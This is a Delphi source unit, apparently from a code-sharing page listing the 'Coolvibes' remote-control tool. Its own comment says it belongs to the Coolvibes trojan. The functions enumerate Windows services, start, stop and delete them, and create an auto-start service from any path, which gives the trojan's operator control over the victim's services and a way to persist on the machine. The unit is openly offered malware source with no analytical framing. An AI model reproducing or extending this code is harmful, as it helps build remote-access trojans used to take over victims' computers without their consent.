unitservicios.pas

Coolvibes 远程控制 Coolvibes 远程控制 Coolvibes 远程控制 Coolvibes 远程控制

  {Unit perteneciente al troyano Coolvibes que contiene todas las funciones
relaccionadas con los servicios del sistema}
//Copyright 2006
unit UnitServicios;

interface
  uses
  Windows,WinSvc,SysUtils;
             //WinSvc nos permite trabajar con los servicios de manera facil
             //documentada en la ayuda de delphi
     function ServiceStrCode(nID : integer) : string;
     function ServiceName(sService:string): string;//Obtenemos el nombre
     function ServiceStatus(sService:string; Change:bool; StartStop:bool):string;
     function ServiceList():string;  //Listamos todos los servicios
     function ServicioCrear(sService,sDisplay,sPath:string):bool;
     function ServicioBorrar(sService:string):bool;//Es bol para poder agregar  despues una respuesta alcliente

implementation

  function ServiceStrCode(nID : integer) : string;
     begin
         case nID of
           SERVICE_STOPPED : Result := 'Parado';
           SERVICE_RUNNING : Result := 'Corriendo';
           SERVICE_PAUSED : Result := 'pausado';
           SERVICE_START_PENDING : Result := 'START/PENDING';
           SERVICE_STOP_PENDING : Result := 'STOP/PENDING';
           SERVICE_CONTINUE_PENDING : Result := 'CONTINUE/PENDING';
           SERVICE_PAUSE_PENDING : Result := 'PAUSE/PENDING';
        else
           Result := 'Desconocido';
          end;
     end;

function ServiceName(sService:string): string;
var
 schm: SC_HANDLE;
 lpszDisplay: array[0..5600] of char;
 dwSize: DWORD;
begin
   Result:='';
   schm:=OpenSCManager(nil, Nil, SC_MANAGER_CONNECT);
      if (schm > 0) then
        begin
        GetServiceDisplayName(schm, pchar(sService), lpszDisplay ,dwSize);
        Result:=lpszDisplay;
        if result='' then
        result:='N/A';
        CloseServiceHandle(schm);
   end;
end;

function ServiceStatus(sService:string; Change:bool; StartStop:bool):string;
var
 schm, schs : SC_Handle;
 ss : TServiceStatus;
 psTemp : PChar;
 s_s:dword;
begin
 ss.dwCurrentState:=0;
 psTemp:=nil;
 schm:=OpenSCManager(nil, nil, SC_MANAGER_CONNECT);
 if (schm > 0)
  then begin
   if StartStop=true then s_s:=SERVICE_START else s_s:=SERVICE_STOP;
   schs:=OpenService(schm, pchar(sService), s_s or SERVICE_QUERY_STATUS);
   if (schs > 0)
    then begin
     if change=true
      then if StartStop=true
       then StartService(schs, 0, psTemp)
       else ControlService(schs, SERVICE_CONTROL_STOP, ss);
     QueryServiceStatus(schs, ss);
     CloseServiceHandle(schs);
    end;
   CloseServiceHandle(schm);
  end;
 Result:=ServiceStrCode(ss.dwCurrentState);
end;

  function ServicioBorrar(sService:string):bool;
var
 schm, schs : SC_Handle;
begin
 result:=false;
 schm:=OpenSCManager(nil, nil, SC_MANAGER_CONNECT);
 if (schm > 0)
  then begin
   schs:=OpenService(schm, pchar(sService), $10000);
   if (schs > 0)
    then begin
     if DeleteService(schs) then result:=true;
     CloseServiceHandle(schs);
    end;
   CloseServiceHandle(schm);
  end;
end;

 function ServiceList():string;
var
 j : integer;
 schm: SC_Handle;
 nBytesNeeded, nServices, nResumeHandle: DWord;
 ServiceStatusRecs: array[0..511] of TEnumServiceStatus;
begin
   schm:=OpenSCManager(nil, Nil, SC_MANAGER_ALL_ACCESS);
     if (schm = 0) then Exit;
       nResumeHandle:=0;
          while True
            do begin
               EnumServicesStatus(schm, SERVICE_WIN32, SERVICE_STATE_ALL, ServiceStatusRecs[0], sizeof(ServiceStatusRecs), nBytesNeeded, nServices, nResumeHandle);
                 for j:=0 to nServices-1 do
                     begin
                          Result:=result+ '|'+ServiceStatusRecs[j].lpServiceName;
                          Result:=result+ '|'+ServiceName(ServiceStatusRecs[j].lpServiceName);
                          result:=result+'|'+ ServiceStatus(ServiceStatusRecs[j].lpServiceName,false,false);
                    end;
                  if (nBytesNeeded = 0) then Break;
              end;

       if (schm > 0) then CloseServiceHandle(schm);
   end;

function ServicioCrear(sService,sDisplay,sPath:string):bool;
   //funcion para instalar servicios 
var
 schm, schs : SC_Handle;
begin
 result:=false;
 schm:=OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS);
 if (schm > 0)
  then begin
   schs:=CreateService(schm,pchar(sService),pchar(sDisplay),SC_MANAGER_ALL_ACCESS,SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,SERVICE_ERROR_IGNORE,pchar(sPath),nil,nil,nil,nil,nil);
   if schs > 0 then result:=true;
   CloseServiceHandle(schs);
   CloseServiceHandle(schm);
  end;
end;



end.